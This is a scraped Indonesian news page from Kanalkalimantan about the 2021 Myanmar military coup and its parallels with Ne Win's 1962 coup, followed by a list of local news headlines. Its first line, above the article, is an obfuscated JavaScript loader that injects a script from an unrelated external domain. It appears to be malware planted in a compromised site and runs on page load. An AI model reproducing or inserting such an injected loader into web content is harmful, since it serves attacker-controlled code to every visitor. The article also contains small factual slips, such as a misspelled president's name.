(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

Kudeta Militer Myanmar, Sejarah 1962 yang Terulang


KANALKALIMANTAN.COM – Kudeta Myanmar yang terjadi sejak 1 Februari 2021 lalu mendapatkan banyak protes dari masyarakat sipil Myanmar dan juga masyarakat internasional.

Kudeta merupakan isu yang tidak asing bagi Myanmar, sejak merdeka dari Inggris tahun 1948, tercatat Myanmar telah mengalami tiga kali pergantian kekuasaan secara paksa. Perebutan kekuasaan antara pihak militer dan sipil bahkan menjadi fenomena biasa yang menjadi konflik setiap pemilu.

Kudeta Myanmar tahun 2021 tepatnya tanggal 1 Februari terjadi karena adanya dugaan kecurangan pemilu yang dilakukan oleh partai oposisi junta militer yaitu partai Liga Nasional Untuk Demokrasi (NLD). Aung San Suu Kyi yang menjadi calon presiden terpilih dari partai NLD mendapatkan total mayoritas suara mencapai 396 dari 476 di parlemen pada pemilu Myanmar November 2020.

Hanya saja kemenangan ini justru dianggap tidak sah dan tidak jujur sehingga junta militer Myanmar memutuskan untuk melakukan kudeta dan mengisi kekuasaan dalam kurun waktu satu tahun sebelum pemilu ulang dilaksanakan. Junta militer Myanmar juga melakukan penahanan terhadap presiden Myanmar Win Mynt, penasihat negara Aung San Suu Kyi, dan tokoh partai NLD.

Baca juga : Ragam Jenis Susu Serta Kandungan Nutrisinya

Militer yang memiliki kekuatan dan kekuasaan yang besar menjadi salah satu faktor pendorong terjadinya kudeta, sejak tahun 1962 rezim militer berkuasa dan selalu berupaya untuk mempertahankan posisi politiknya. Hal ini jelas tidak sesuai dengan nilai-nilai demokrasi yang sudah diterapkan di Myanmar sejak tahun 2010 lalu.

Kudeta 1962 Myanmar dipimpin oleh Jenderal Ne Win dan menurunkan Perdana Menteri U Nu yang sudah berkuasa sejak tahun 1948 karena dianggap tidak berkapabilitas dalam memimpin negara. Turunnya PM U Nu seperti menjadi pembuka rezim militer yang sangat berkuasa di Myanmar. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.